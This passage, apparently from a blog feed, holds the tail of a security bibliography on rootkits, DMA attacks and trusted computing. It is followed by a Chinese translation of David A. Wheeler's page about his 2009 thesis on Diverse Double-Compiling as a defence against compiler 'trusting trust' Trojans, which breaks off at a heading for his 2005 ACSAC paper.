[36] Guillaume Delugré. How to Develop a Rootkit for Broadcom NetExtreme Network Cards. Sogeti ESEC Lab: http://esec-lab.sogeti.com/dotclear/public/publications/11-recon-nicreverse_slides.pdf [accessed 25 February 2014], 2011.
[37] Department of Defense. DEPARTMENT OF DEFENSE TRUSTED COMPUTER SYSTEM EVALUATION CRITERIA. NIST CSRC: http://csrc.nist.gov/publications/history/dod85.pdf [accessed 25 February 2014], December 1985. DEPARTMENT OF DEFENSE STANDARD.
[38] T. Dierks and E. Rescorla. The Transport Layer Security (TLS) Protocol Version 1.2. Internet Engineering Task Force: http://www.ietf.org/rfc/rfc5246.txt [accessed 25 February 2014], August 2008. Network Working Group RFC 5246.
[39] Kurt Dietrich. A Secure and Reliable Platform Configuration Change Reporting Mechanism for Trusted Computing Enhanced Secure Channels. In Proceedings of the 9th International Conference for Young Computer Scientists, 2008. ICYCS 2008, pages 2137–2142, 2008.
[40] Kurt Dietrich. On Reliable Platform Configuration Change Reporting Mechanisms for Trusted Computing Enabled Platforms. Journal of Universal Computer Science, 16(4):507–518, 2010.
[41] Jeroen Domburg. Hard Disk Hacking. SpritesMods.com: http://spritesmods.com/?art=hddhack&page=1 [accessed 25 February 2014], 2013. Presented at OHM2013: http://bofh.nikhef.nl/events/OHM/video/d2-t1-13-20130801-2300-hard_disks_more_than_just_block_devices-sprite_tm.m4v [accessed 25 February 2014].
[42] Maximilian Dornseif, Michael Becher, and Christian N. Klein. FireWire – All Your Memory Are Belong To Us. CanSecWest: http://cansecwest.com/core05/2005-firewire-cansecwest.pdf [accessed 25 February 2014], May 2005.
[43] Maximillian Dornseif. 0wned by an iPod - Hacking by Firewire. Laboratory for Dependable Distributed Systems University of Mannheim: http://pi1.informatik.uni-mannheim.de/filepool/presentations/0wned-by-an-ipod-hacking-by-firewire.pdf [accessed 25 February 2014], November 2004. PacSec 2004.
[44] Loı̈c Duflot, Olivier Levillain, and Benjamin Morin. ACPI: Design Principles and Concerns. In Proceedings of the 2nd International Conference on Trusted Computing, Trust ’09, pages 14–28, Berlin, Heidelberg, 2009. Springer-Verlag.
[45] Loı̈c Duflot, Yves-Alexis Perez, and Benjamin Morin. Run-time Firmware Integrity Verification: What If You Can’t Trust Your Network Card? French Network and Information Security Agency (FNISA): http://www.ssi.gouv.fr/IMG/pdf/Duflot-Perez_runtime-firmware-integrity-verification.pdf [accessed 25 February 2014], March 2011.
[46] Loı̈c Duflot, Yves-Alexis Perez, and Benjamin Morin. What If You Can’t Trust Your Network Card? In Proceedings of the 2011 International Symposium on Research in Attacks, Intrusions and Defenses (RAID), pages 378–397, 2011.
[47] Loı̈c Duflot, Yves-Alexis Perez, Guillaume Valadon, and Olivier Levillain. Can You Still Trust Your Network Card? French Network and Information Security Agency (FNISA): http://www.ssi.gouv.fr/IMG/pdf/csw-trustnetworkcard.pdf [accessed 25 February 2014], March 2010.
[48] Marcel Eckert, Igor Podebrad, and Bernd Klauer. Hardware Based Security Enhanced Direct Memory Access. In Bart Decker, Jana Dittmann, Christian Kraetzer, and Claus Vielhauer, editors, Communications and Multimedia Security, volume 8099 of Lecture Notes in Computer Science, pages 145–151. Springer Berlin Heidelberg, 2013.
[49] Shawn Embleton, Sherri Sparks, and Cliff Zou. SMM Rootkits: A New Breed of OS Independent Malware. In Proceedings of the 4th International Conference on Security and Privacy in Communication Networks, pages 1–12, New York, NY, USA, 2008. ACM.
[50] A. Freier, P. Karlton, and P. Kocher. The Secure Sockets Layer (SSL) Protocol Version 3.0. Internet Engineering Task Force: http://tools.ietf.org/html/rfc6101 [accessed 25 February 2014], August 2011. Category: Historic.
[51] Tal Garfinkel and Mendel Rosenblum. A Virtual Machine Introspection Based Architecture for Intrusion Detection. In Proceedings of the 2003 Network and Distributed Systems Security Symposium, February 2003.
[52] Yacine Gasmi, Ahmad-Reza Sadeghi, Patrick Stewin, Martin Unger, and N. Asokan. Beyond Secure Channels. In Proceedings of the 2007 ACM Workshop on Scalable Trusted Computing, STC ’07, pages 30–40, New York, NY, USA, 2007. ACM.
[53] Kenneth Goldman, Ronald Perez, and Reiner Sailer. Linking Remote Attestation to Secure Tunnel Endpoints. In STC ’06: Proceedings of the 1st ACM Workshop on Scalable Trusted Computing, pages 21–24, New York, NY, USA, November 2006. ACM Press.
[54] David Grawrock. Dynamics of a Trusted Platform: A Building Block Approach. Intel Press, 2009.
[55] John Heasman. Implementing and Detecting a PCI Rootkit. Black Hat: http://www.blackhat.com/presentations/bh-dc-07/Heasman/Paper/bh-dc-07-Heasman-WP.pdf [accessed 25 February 2014], 2006.
[56] John Heasman. Implementing and Detecting an ACPI BIOS Rootkit. Black Hat Federal: http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Heasman.pdf [accessed 25 February 2014], 2006.
[57] John Heasman. Hacking the Extensible Firmware Interface. Black Hat USA: https://www.blackhat.com/presentations/bh-usa-07/Heasman/Presentation/bh-usa-07-heasman.pdf [accessed 25 February 2014], 2007.
[58] John L. Hennessy and David A. Patterson. Computer Architecture: A Quantitative Approach. Morgan Kaufmann, May 2005. 3rd edition.
[59] John L. Hennessy and David A. Patterson. Computer Architecture: A Quantitative Approach. Morgan Kaufmann, 2012. 5th edition.
[60] Greg Hoglund and Jamie Butler. Rootkits: Subverting the Windows Kernel. Addison Wesley Professional, 2005.
[61] David Hulton. Cardbus Bus-Mastering: 0Wning The Laptop, January 2006. Shmoocon 2006.
[62] Intel Corporation. Universal Host Controller Interface (UHCI) Design Guide. The Slackware Linux Project: ftp://ftp.slackware.com/pub/netwinder/pub/misc/docs/29765002-usb-uhci%20design%20guide.pdf [accessed 25 February 2014], March 1996. Revision 1.1.
[63] Intel Corporation. Intel 3 Series Express Chipset Family. Intel Corporation: http://www.intel.com/Assets/PDF/datasheet/316966.pdf [accessed 25 February 2014], August 2007.
[64] Intel Corporation. Intel I/O Controller Hub (ICH9) Family. Intel Corporation: http://www.intel.com/content/dam/doc/datasheet/io-controller-hub-9-datasheet.pdf [accessed 25 February 2014], August 2008.
[65] Intel Corporation. Intel I/O Controller Hub 8/9/10 and 82566/82567/82562V Software Developer’s Manual. Intel Corporation: http://www.intel.com/content/dam/doc/manual/i-o-controller-hub-8-9-10-82566-82567-82562v-software-dev-manual.pdf [accessed 25 February 2014], July 2009.
[66] Intel Corporation. 2nd Generation Intel Core vPro Processor Family. Intel Corporation: http://www.intel.com/content/dam/doc/white-paper/performance-2nd-generation-core-vpro-family-paper.pdf [accessed 25 February 2014], June 2011.
[67] Intel Corporation. Access Accounts More Securely with Intel Identity Protection Technology. Intel Corporation: http://ipt.intel.com/Libraries/Documents/Intel_IdentityProtect_techbrief_v7.sflb.ashx [accessed 25 February 2014], February 2011.
[68] Intel Corporation. Intel 5 Series Chipset and Intel 3400 Series Chipset. Intel Corporation: http://www.intel.com/content/dam/doc/datasheet/5-chipset-3400-chipset-datasheet.pdf [accessed 25 February 2014], January 2012.
[69] Intel Corporation. Intel 64 and IA-32 Architectures Software Developer’s Manual — Volume 3 (3A, 3B & 3C): System Programming Guide. Intel Corporation: http://download.intel.com/products/processor/manual/325384.pdf [accessed 27 April 2012], March 2012.
[70] Intel Corporation. Intel Architecture Instruction Set Extensions Programming Reference. Intel Corporation: http://download-software.intel.com/sites/default/files/319433-015.pdf [accessed 25 February 2014], July 2013.
[71] Intel Corporation. Intel VTune Amplifier 2013 – Document Number: 326734-004. Intel Corporation: http://software.intel.com/sites/products/documentation/doclib/iss/2013/amplifier/lin/ug_docs/index.htm [accessed 25 February 2014], 2013. External Bus Events.
[72] International Business Machines Corp. IBM 4764 PCI-X Cryptographic Coprocessor. International Business Machines Corp.: http://www-03.ibm.com/security/cryptocards/pcixcc/overview.shtml [accessed 5 March 2012], March 2012.
[73] International Business Machines Corp. IBM PCIe Cryptographic Coprocessor. International Business Machines Corp.: http://www-03.ibm.com/security/cryptocards/pciecc/overview.shtml [accessed 5 March 2012], March 2012.
[74] Shan Jiang, Sean Smith, and Kazuhiro Minami. Securing Web Servers against Insider Attack. In ACSAC ’01: Proceedings of the 17th Annual Computer Security Applications Conference, page 265, Washington, DC, USA, 2001. IEEE Computer Society.
[75] C. Kaufman, P. Hoffman, Y. Nir, and P. Eronen. Internet Key Exchange Protocol Version 2 (IKEv2). The Internet Engineering Task Force: http://www.ietf.org/rfc/rfc5996.txt [accessed 25 February 2014], September 2010. RFC5996.
[76] S. Kent and K. Seo. Security Architecture for the Internet Protocol. Internet Engineering Task Force: http://www.ietf.org/rfc/rfc4301.txt [accessed 25 February 2014], December 2005. Network Working Group RFC 4346. Obsoletes: RCF2401.
[77] Samuel T. King, Peter M. Chen, Yi-Min Wang, Chad Verbowski, Helen J. Wang, and Jacob R. Lorch. SubVirt: Implementing Malware with Virtual Machines. In SP ’06: Proceedings of the 2006 IEEE Symposium on Security and Privacy, pages 314–327, Washington, DC, USA, 2006. IEEE Computer Society.
[78] Markulf Kohlweiss, Ueli Maurer, Cristina Onete, Björn Tackmann, and Daniele Venturi. (De-)Constructing TLS. Cryptology ePrint Archive: http://eprint.iacr.org/2014/020.pdf [accessed 25 February 2014], January 2014.
[79] Arvind Kumar, Purushottam Goel, and Ylian Saint-Hilaire. Active Platform Management Demystified. 2009. Intel Press.
[80] Evangelos Ladakis, Lazaros Koromilas, Giorgos Vasiliadis, Michalis Polychronakis, and Sotiris Ioannidis. You Can Type, but You Can’t Hide: A Stealthy GPU-based Keylogger. In Proceedings of the 6th European Workshop on System Security. EuroSec, Prague, Czech Republic, April 2013.
[81] Hojoon Lee, Hyungon Moon, Daehee Jang, Kihwan Kim, Jihoon Lee, Yunheung Paek, and Brent Byunghoon Kang. KI-Mon: A Hardware-assisted Event-triggered Monitoring Platform for Mutable Kernel Object. In Proceedings of the 22nd Conference on USENIX Security Symposium, SSYM’13. USENIX Association, 2013.
[82] Yanlin Li, Jonathan M. McCune, and Adrian Perrig. SBAP: Software-based Attestation for Peripherals. In Proceedings of the 3rd International Conference on Trust and Trustworthy Computing, TRUST’10, pages 16–29, Berlin, Heidelberg, 2010. Springer-Verlag.
[83] Yanlin Li, Jonathan M. McCune, and Adrian Perrig. VIPER: Verifying the Integrity of PERipherals’ Firmware. In Proceedings of the ACM Conference on Computer and Communications Security (CCS), October 2011.
[84] Loukas K (snare). DE MYSTERIIS DOM JOBSIVS Mac EFI Rootkits. ho/ax.: http://ho.ax/downloads/De_Mysteriis_Dom_Jobsivs_Black_Hat_Paper.pdf [accessed 25 February 2014], 2012. Paper.
[85] Loukas K (snare). DE MYSTERIIS DOM JOBSIVS Mac EFI Rootkits. ho/ax.: http://ho.ax/downloads/De_Mysteriis_Dom_Jobsivs_Black_Hat_Slides.pdf [accessed 25 February 2014], 2012. Slides.
[86] John Lyle and Andrew Martin. Engineering Attestable Services. In Alessandro Acquisti, SeanW. Smith, and Ahmad-Reza Sadeghi, editors, Trust and Trustworthy Computing, volume 6101 of Lecture Notes in Computer Science, pages 257–264. Springer Berlin Heidelberg, 2010.
[87] Carsten Maartmann-Moe. Inception. Break & Enter: http://www.breaknenter.org/projects/inception/ [accessed 25 February 2014].
[88] Vinod Mamtani. DMA Directions And Windows. Microsoft: http://download.microsoft.com/download/a/f/d/afdfd50d-6eb9-425e-84e1-b4085a80e34e/sys-t304_wh07.pptx [accessed 25 February 2014], 2007.
[89] John Marchesini, Sean W. Smith, Omen Wild, Josh Stabiner, and Alex Barsamian. Open-Source Applications of TCPA Hardware. In ACSAC ’04: Proceedings of the 20th Annual Computer Security Applications Conference (ACSAC’04), pages 294–303, Washington, DC, USA, 2004. IEEE Computer Society.
[90] David Maynor. DMA: Skeleton Key of Computing && Selected Soap Box Rants. CanSecWest: http://cansecwest.com/core05/DMA.ppt [accessed 25 February 2014], May 2005.
[91] Jonathan M. McCune, Bryan Parno, Adrian Perrig, Michael K. Reiter, and Arvind Seshadri. Minimal TCB Code Execution. In SP ’07: Proceedings of the 2007 IEEE Symposium on Security and Privacy, pages 267–272, Washington, DC, USA, 2007. IEEE Computer Society.
[92] Hyungon Moon, Hojoon Lee, Jihoon Lee, Kihwan Kim, Yunheung Paek, and Brent Byunghoon Kang. Vigilare: Toward Snoop-based Kernel Integrity Monitor. In Proceedings of the 2012 ACM Conference on Computer and Communications Security, CCS ’12, pages 28–37, New York, NY, USA, 2012. ACM.
[93] Tilo Müller, Andreas Dewald, and Felix C. Freiling. AESSE: A Cold-boot Resistant Implementation of AES. In Proceedings of the Third European Workshop on System Security, EUROSEC ’10, pages 42–47, New York, NY, USA, 2010. ACM.
[94] Tilo Müller, Felix C. Freiling, and Andreas Dewald. TRESOR Runs Encryption Securely Outside RAM. In Proceedings of the 20th USENIX Conference on Security, SEC’11, pages 17–17, Berkeley, CA, USA, 2011. USENIX Association.
[95] Tilo Müller, Benjamin Taubmann, and Felix C. Freiling. TreVisor: OS-independent Software-based Full Disk Encryption Secure against Main Memory Attacks. In Proceedings of the 10th International Conference on Applied Cryptography and Network Security, ACNS’12, pages 66–83, Berlin, Heidelberg, 2012. Springer-Verlag.
[96] Quan Nguyen. Issues in Software-based Attestation. Kaspersky Lab: http://www.kaspersky.com/images/Quan%20Nguyen.pdf [accessed 25 February 2014], November 2012.
[97] Alfredo Ortega and Anibal Sacco. Deactivate the Rootkit: Attacks on BIOS Anti-theft Technologies. Black Hat USA: http://www.blackhat.com/presentations/bh-usa-09/ORTEGA/BHUSA09-Ortega-DeactivateRootkit-SLIDES.pdf [accessed 25 February 2014], July 2009. Slides.
[98] Alfredo Ortega and Anibal Sacco. Deactivate the Rootkit: Attacks on BIOS Anti-theft Technologies. Black Hat USA: http://www.blackhat.com/presentations/bh-usa-09/ORTEGA/BHUSA09-Ortega-DeactivateRootkit-PAPER.pdf [accessed 25 February 2014], July 2009. Paper.
[99] Siani Pearson, Boris Balacheff, Liqun Chen, David Plaquin, and Graeme Proudler. Trusted Computing Platforms: TCPA Technology in Context. Prentice Hall PTR, Upper Saddle River, NJ, USA, 2002. Hewlett-Packard Professional Books.
[100] Nick L. Petroni, Jr., Timothy Fraser, Jesus Molina, and William A. Arbaugh. Copilot – A Coprocessor-based Kernel Runtime Integrity Monitor. In Proceedings of the 13th Conference on USENIX Security Symposium - Volume 13, SSYM’04, Berkeley, CA, USA, 2004. USENIX Association.
[101] David R. Piegdon and Lexi Pimenidis. Targeting Physically Addressable Memory. In Bernhard Hämmerli and Robin Sommer, editors, Detection of Intrusions and Malware, and Vulnerability Assessment, volume 4579 of Lecture Notes in Computer Science, pages 193–212. Springer Berlin Heidelberg, 2007.
[102] Marsh Ray and Steve Dispensa. Renegotiating TLS. Internet Archive Way Back Machine: http://web.archive.org/web/20130203213851/http://extendedsubset.com/Renegotiating_TLS.pdf [accessed 25 February 2014], November 2009.
[103] Sasha Rehbock. Trustworthy Clients: Extending TNC for Integrity Checks in Web-based Environments. Master’s thesis, University of Canterbury. Computer Science and Software Engineering, 2008. http://ir.canterbury.ac.nz/handle/10092/2369 [accessed 25 February 2014].
[104] James Reinders. VTune Performance Analyzer Essentials: Measurement and Tuning Techniques for Software Developers. Engineer to Engineer Series. Intel Press, 2005.
[105] Mark E. Russinovich and David A. Solomon. Windows Internals: Including Windows Server 2008 and Windows Vista, Fifth Edition. Microsoft Press, 5th edition, 2009.
[106] Mark E. Russinovich, David A. Solomon, and Alex Ionescu. Windows Internals 6th Edition, Part 2. Microsoft Press, 2012.
[107] Joanna Rutkowska. Red Pill… Or How to Detect VMM Using (almost) One CPU Instruction. Internet Archive: http://web.archive.org/web/20110726182809/http://invisiblethings.org/papers/redpill.html [accessed 25 February 2014], November 2004.
[108] Joanna Rutkowska. Subverting Vista Kernel for Fun and Profit. Black Hat: http://blackhat.com/presentations/bh-usa-06/BH-US-06-Rutkowska.pdf [accessed 25 February 2014], August 2006.
[109] Ahmad-Reza Sadeghi and Steffen Schulz. Extending IPsec for Efficient Remote Attestation. In Radu Sion, Reza Curtmola, Sven Dietrich, Aggelos Kiayias, Josep M. Miret, Kazue Sako, and Francesc Seb, editors, Financial Cryptography and Data Security, volume 6054 of Lecture Notes in Computer Science, pages 150–165. Springer Berlin Heidelberg, 2010.
[110] Ahmad-Reza Sadeghi, Marko Wolf, Christian Stüble, N. Asokan, and Jan-Erik Ekberg. Enabling Fairer Digital Rights Management with Trusted Computing. In Proceedings of the 10th International Conference on Information Security, ISC’07, pages 53–70, Berlin, Heidelberg, 2007. Springer-Verlag.
[111] Fernand Lone Sang, Éric Lacombe, Vincent Nicomette, and Yves Deswarte. Exploiting an I/OMMU Vulnerability. In Proceedings of the 5th International Conference on Malicious and Unwanted Software (MALWARE), pages 7–14, October 2010.
[112] Fernand Lone Sang, Vincent Nicomette, and Yves Deswarte. I/O Attacks in Intel-PC Architectures and Countermeasures. SysSec: http://www.syssec-project.eu/media/page-media/23/syssec2011-s1.4-sang.pdf [accessed 25 February 2014], July 2011.
[113] S. Santesson. TLS Handshake Message for Supplemental Data. The Internet Engineering Task Force: http://www.ietf.org/rfc/rfc4680.txt [accessed 25 February 2014], September 2006. RFC4680.
[114] Russ Sevinsky. Funderbolt – Adventures in Thunderbolt DMA Attacks. Black Hat: https://media.blackhat.com/us-13/US-13-Sevinsky-Funderbolt-Adventures-in-Thunderbolt-DMA-Attacks-Slides.pdf [accessed 25 February 2014], 2013.
[115] Gaurav Shah, Andres Molina, and Matt Blaze. Keyboards and Covert Channels. In Proceedings of the 15th Conference on USENIX Security Symposium - Volume 15, USENIX-SS’06, Berkeley, CA, USA, 2006. USENIX Association.
[116] Tom Shanley and Don Anderson. ISA System Architecture. Mindshare PC System Architecture. Addison Wesley, 1995.
[117] Tom Shanley and Bob Colwell. The Unabridged Pentium 4: IA32 Processor Genealogy. PC System Architecture Series. Addison Wesley Professional, 2005.
[118] John P. Shen and Mikko H. Lipasti. Modern Processor Design: Fundamentals of Superscalar Processors. Electrical and Computer Engineering. McGraw-Hill Companies, Incorporated, 2005.
[119] Patrick Simmons. Security Through Amnesia: A Software-based Solution to the Cold Boot Attack on Disk Encryption. In Proceedings of the 27th Annual Computer Security Applications Conference, ACSAC ’11, pages 73–82, New York, NY, USA, 2011. ACM.
[120] Ned M. Smith. System and Method for Combining User and Platform Authentication in Negotiated Channel Security Protocols. United States Patent Application 20050216736: http://www.freepatentsonline.com/20050216736.html [accessed 25 February 2014], September 2005.
[121] Stephen L. Smith. Intel Roadmap Overview August 20th 2008. Intel Corporation: http://download.intel.com/pressroom/kits/events/idffall_2008/SSmith_briefing_roadmap.pdf [accessed 25 February 2014], August 2008.
[122] Patrick Stewin. A Primitive for Revealing Stealthy Peripheral-based Attacks on the Computing Platform’s Main Memory. In Proceedings of the 16th International Symposium on Research in Attacks, Intrusions and Defenses (RAID), 2013.
[123] Patrick Stewin and Iurii Bystrov. Understanding DMA Malware. In Proceedings of the 9th Conference on Detection of Intrusions and Malware & Vulnerability Assessment, 2012.
[124] Patrick Stewin and Iurii Bystrov. Persistent, Stealthy, Remote-controlled Dedicated Hardware Malware. http://stewin.org/slides/44con_2013-dedicated_hw_malware-stewin_bystrov.pdf [accessed 25 February 2014], September 2013. 44CON.
[125] Patrick Stewin and Iurii Bystrov. Persistent, Stealthy, Remote-controlled Dedicated Hardware Malware. http://stewin.org/slides/30c3-dedicated_hw_malware-stewin_bystrov_final.pdf [accessed 25 February 2014], December 2013. 30C3: 30th Chaos Communication Congress.
[126] Patrick Stewin, Jean-Pierre Seifert, and Collin Mulliner. Poster: Towards Detecting DMA Malware. In Proceedings of the 18th ACM Conference on Computer and Communications Security, CCS ’11, pages 857–860, New York, NY, USA, 2011. ACM.
[127] Jon Stokes. Inside The Machine: An Illustrated Introduction to Microprocessors and Computer Architecture. No Starch Press Series. No Starch Press, 2007.
[128] Frederic Stumpf, Omid Tafreschi, Patrick Röder, and Claudia Eckert. A Robust Integrity Reporting Protocol for Remote Attestation. In Proceedings of the Second Workshop on Advances in Trusted Computing (WATC ’06 Fall), Tokyo, December 2006.
[129] Peter Szor. The Art Of Computer Virus Research And Defense. Symantec Press Series. Addison Wesley Publishing Company Incorporated, 2005.
[130] TCG Infrastructure Working Group (IWG). TCG Infrastructure Working Group Reference Architecture for Interoperability (Part I). Trusted Computing Group: http://www.trustedcomputinggroup.org/files/resource_files/8770A217-1D09-3519-AD17543BF6163205/IWG_Architecture_v1_0_r1.pdf [accessed 25 February 2014], June 2005. Specification Version 1.0 Revision 1.
[131] Alexander Tereshkin and Rafal Wojtczuk. Introducing Ring -3 Rootkits. Black Hat: http://www.blackhat.com/presentations/bh-usa-09/TERESHKIN/BHUSA09-Tereshkin-Ring3Rootkit-SLIDES.pdf [accessed 25 February 2014], July 2009.
[132] The Computer Language Company Inc. Heartbeat. Computer Desktop Encyclopedia: http://lookup.computerlanguage.com/host_app/search?cid=C999999&term=heartbeat&lookup.x=27&lookup.y=21 [accessed 25 February 2014], 2013.
[133] Robert Bruce Thompson and Barbara Fritchman Thompson. PC Hardware in a Nutshell, 3rd Edition. O’Reilly & Associates, Inc., Sebastopol, CA, USA, 2003.
[134] Arrigo Triulzi. Project Maux Mk.II. The Alchemist Owl: http://www.alchemistowl.org/arrigo/Papers/Arrigo-Triulzi-PACSEC08-Project-Maux-II.pdf [accessed 25 February 2014], 2008.
[135] Arrigo Triulzi. The Jedi Packet Trick Takes Over the Deathstar. The Alchemist Owl: http://www.alchemistowl.org/arrigo/Papers/Arrigo-Triulzi-CANSEC10-Project-Maux-III.pdf [accessed 25 February 2014], March 2010.
[136] Trusted Computing Group. TCG PC Client Specific Implementation Specification For Conventional BIOS. Trusted Computing Group: http://www.trustedcomputinggroup.org/files/temp/64505409-1D09-3519-AD5C611FAD3F799B/PCClientImplementationforBIOS.pdf [accessed 25 February 2014], July 2005.
[137] Trusted Computing Group. TCG Trusted Network Connect – TNC IF-T: Binding to TLS. Trusted Computing Group: http://www.trustedcomputinggroup.org/files/static_page_files/1D8D3689-1A4B-B294-D0E7699128CB9817/TNC_IFT_TLS_v2_0_r7.pdf [accessed 25 February 2014], February 2013. Specification Version 2.0 Revision 7.
[138] Trusted Network Connect Work Group. TCG Trusted Network Connect TNC Architecture for Interoperability. Trusted Computing Group: http://www.trustedcomputinggroup.org/files/resource_files/2884F884-1A4B-B294-D001FAE2E17EA3EB/TNC_Architecture_v1_5_r3-1.pdf [accessed 25 February 2014], May 2012. Specification Version 1.5, Revision 3.
[139] USB Implementers Forum, Inc. USB.org - ExpressCard specs. USB Implementers Forum, Inc.: http://www.usb.org/developers/expresscard/EC_specifications [accessed 25 February 2014], 2009.
[140] Giorgos Vasiliadis, Michalis Polychronakis, and Sotiris Ioannidis. GPU-Assisted Malware. In Proceedings of the 5th International Conference on Malicious and Unwanted Software (MALWARE), pages 1–6, October 2010.
[141] Amit Vasudevan, Jonathan McCune, James Newsome, Adrian Perrig, and Leendert van Doorn. CARMA: A Hardware Tamper-resistant Isolated Execution Environment on Commodity x86 Platforms. In Proceedings of the 7th ACM Symposium on Information, Computer and Communications Security, ASIACCS ’12, pages 48–49, New York, NY, USA, 2012. ACM.
[142] Davide Vernizzi. TLS Hello Extensions and Supplemental Data. Blog: http://tlsext-general.blogspot.de/2008/12/tls-hello-extensions-and-supplemental.html [accessed 25 February 2014], December 2008.
[143] Jian Wang, Zhiyong Zhang, Fei Xiang, Lili Zhang, and Qingli Chen. A Trusted Authentication Protocol based on SDIO Smart Card for DRM. International Journal of Digital Content Technology & Its Applications, 6(23):222–233, December 2012.
[144] Filip Wecherowski. A Real SMM Rootkit: Reversing and Hooking BIOS SMI Handlers. Phrack Magazine Issue 0x42, Phile #0x0B of 0x11: http://www.phrack.org/issues.html?issue=66&id=11#article [accessed 25 February 2014], June 2009.
[145] Rafal Wojtczuk and Joanna Rutkowska. Attacking SMM Memory via Intel CPU Cache Poisoning. Invisible Things Lab: http://invisiblethingslab.com/itl/Resources.html [accessed 25 February 2014], March 2009.
[146] Rafal Wojtczuk and Joanna Rutkowska. Attacking Intel TXT via SINIT Code Execution Hijacking. Invisible Things Lab: http://www.invisiblethingslab.com/resources/2011/Attacking_Intel_TXT_via_SINIT_hijacking.pdf [accessed 25 February 2014], November 2011.
[147] Rafal Wojtczuk and Joanna Rutkowska. Following the White Rabbit: Software Attacks against Intel VT-d Technology. Invisible Things Lab: http://www.invisiblethingslab.com/resources/2011/Software%20Attacks%20on%20Intel%20VT-d.pdf [accessed 25 February 2014], April 2011.
[148] Rafal Wojtczuk, Joanna Rutkowska, and Alexander Tereshkin. Another Way to Circumvent Intel Trusted Execution Technology. Invisible Things Lab: http://invisiblethingslab.com/resources/misc09/Another%20TXT%20Attack.pdf [accessed 25 February 2014], December 2009.
[149] Rafal Wojtczuk and Alexander Tereshkin. Attacking Intel BIOS. Invisible Things Lab: http://invisiblethingslab.com/resources/bh09usa/Attacking%20Intel%20BIOS.pdf [accessed 25 February 2014], July 2009.
[150] Ben-Ami Yassour, Muli Ben-Yehuda, and Orit Wasserman. On the DMA Mapping Problem in Direct Device Assignment. In Proceedings of the 3rd Annual Haifa Experimental Systems Conference, SYSTOR ’10, pages 18:1–18:12, New York, NY, USA, 2010. ACM.
[151] Yue Yu, Sun Hao, and Kong Yanan. Expand the SSL/TLS Protocol on Trusted Platform Module. In Proceedings of the International Conference on Computer Application and System Modeling (ICCASM), volume 11, pages V11–48–V11–51, 2010.
[152] Jonas Zaddach, Anil Kurmus, Davide Balzarotti, Erik Olivier Blass, Aurelien Francillon, Travis Goodspeed, Moitrayee Gupta, and Ioannis Koltsidas. Implementation and Implications of a Stealth Hard-Drive Backdoor. In Proceedings of the 29th Annual Computer Security Applications Conference (ACSAC), ACSAC 13. ACM, December 2013.
[153] Fengwei Zhang. IOCheck: A Framework to Enhance the Security of I/O Devices at Runtime. In Proceedings of the 43rd Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN’13), June 2013.
[154] P. Zimmermann, A. Johnston, and J. Callas. ZRTP: Media Path Key Agreement for Unicast Secure RTP. The Internet Engineering Task Force: http://www.ietf.org/rfc/rfc6189.txt [accessed 25 February 2014], April 2011. RFC6189.

Fully Countering Trusting Trust through Diverse Double-Compiling (DDC) - Countering Trojan Horse attacks on Compilers

Thu, 24 Oct 2019 00:00:00 +0000

David A. Wheeler’s Page on Fully Countering Trusting Trust through Diverse Double-Compiling (DDC) - Countering Trojan Horse attacks on Compilers

作者：David A. Wheeler

译者：Yingnan Ju, Yue Chen

翻译版Reviewer：Shawn the R0ck

开篇

这里是关于我对反击“Trusting Trust”攻击相关工作的信息。“Trusting Trust”攻击是一种恶毒的攻击方法，到现在为止都被假设为无法进行有效的防御。自从 Ken Thompson 公开的对其进行阐述后，我一直对此问题非常忧心。一种已知但却无法有效防御的攻击存在，我们还应该继续使用计算机吗？欣慰的是，我认为有一种被我命名为“Diverse Double-Compiling (DDC)”的有效反制方法。

2009 博士论文

Fully Countering Trusting Trust through Diverse Double-Compiling (PDF version, HTML version, OpenDocument text version) 是我2009年关于如何通过"Diverse Double-Compiling"(DDC)对抗"Trusting trust"攻击的博士论文。这篇论文被我的博士委员会接受日期为2009年10月26日。

这个视频是我的正式的公开答辩(webm或者mp4)，这个演讲是2009年11月23日下午1点到3点进行的(podcase/RSS)。演讲的材料同样以PDF和OpenDocument (ODP)格式提供下载。公开答辩的地点是George Mason University, Fairfax, Virginia,Innovation Hall, room 105 location on campus,Google map。

这里是论文的摘要：

Ken Thompson的图灵奖演讲“Reflections on Trusting Trust”是基于对空军使用的Multics系统的评估，这个演讲展示了编译器可以被利用向重要的软件甚至编译器自己植入恶意木马。如果“trusting trust”攻击无法被检测，那代码审计也不能找到恶意代码。之前已知的反制方法都是很低效的。如果这类攻击不能被反制，攻击者可以悄悄的搞定一堆计算机系统，获得金融机构，基础设施，军队或者商业系统的全部权限。这篇论文的题目是 trusting trust 攻击可以被检测并且使“”Diverse Double-Compiling (DDC)”技术是有效的反制手段，如展示， (1)形式化证明DDC可以判断源代码和生成的可执行代码的对应， (2)演示了DDC使用4个编译器（一个轻量级C编译器，一个轻量级Lisp编译器，一个轻量级的恶意版Lisp编译器和工业级C编译器GCC）， (3)描述了应用DDC在真实世界的场景。DDC会要求源代码被两次编译：编译器本身的源代码先被一个可信的编译器编译，之后用第一个编译结果去编译需要测试的编译器的源代码。如果DDC结果是与原生的编译器可执行程序bit-for-bit一致，那说明这个需要测试的编译器的可执行程序完全对应相关的公认代码。

论文有一部分章节解释了DDC是如何根据我以前2005年的ACSAC论文进行扩展的。这篇论文概括了之前的ACSAC论文（现在编译器不需要再自我编译了），包括其形式化的证明部分，论文还包含了用GCC编译器（以展示其扩展性）和恶意编译器的演示部分。

如果你读过论文，那么你也应该看看论文勘误表（勘误表并不影响论文中任何的论证基础）。

我要感谢论文委员会的成员，他们对我帮助颇多。我要特别感谢Ravi Sandhu博士；我想要做的博士论文是完全不走寻常路的，但是他十分开明，让我放手去做。在这个过程中他还提了许多很棒的建议。Daniel A. Menascé博士让我演示使用恶意编译器的方法（我实现了）。Jeff Offutt博士向我提问了DDC和N-版本程序设计的关系（所以我加入了关于它和N-版本编程的区别的材料）。Paul Ammann博士对N-版本编程材料提了一些有趣的意见；我才知道原来他个人当时曾参与了这一里程碑式的研究！Yutao Zhong博士问过我关于T-图的问题（所以我加进了为什么没有使用T-图的材料）。委员会的每个人都提出了很棒的问题，尤其是在公开答辩前的小范围演示中的提问；感谢你们！

2005年ACSAC论文

